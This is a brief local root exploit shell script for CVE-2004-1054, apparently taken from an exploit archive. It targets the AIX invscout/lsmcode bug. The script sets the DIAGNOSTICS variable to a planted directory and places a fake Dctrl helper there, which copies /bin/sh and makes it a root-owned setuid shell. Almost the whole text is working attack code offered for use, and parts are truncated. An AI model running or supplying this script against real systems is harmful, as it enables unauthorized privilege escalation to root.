CVE-2004-1054

#!/usr/bin/sh # r00t exploit written for the invscout bug reported by Idefense labs # wwwidefensecom/application/poi/display?id=171&type=vulnerabilities # coded by ri0t exploitation is trivial but automated with this script # wwwri0tnetnet # # usage /getr00tsh :) # exploitation gives euid(root) from here getting guid (root) is as s ...

mkdirhier /tmp/aap/bin export DIAGNOSTICS=/tmp/aap cat > /tmp/aap/bin/Dctrl << EOF #!/bin/sh cp /bin/sh /tmp/shh chown root:system /tmp/shh chmod u+s /tmp/shh EOF chmod a+x /tmp/aap/bin/Dctrl lsmcode /tmp/shh # milw0rmcom [2004-12-21] ...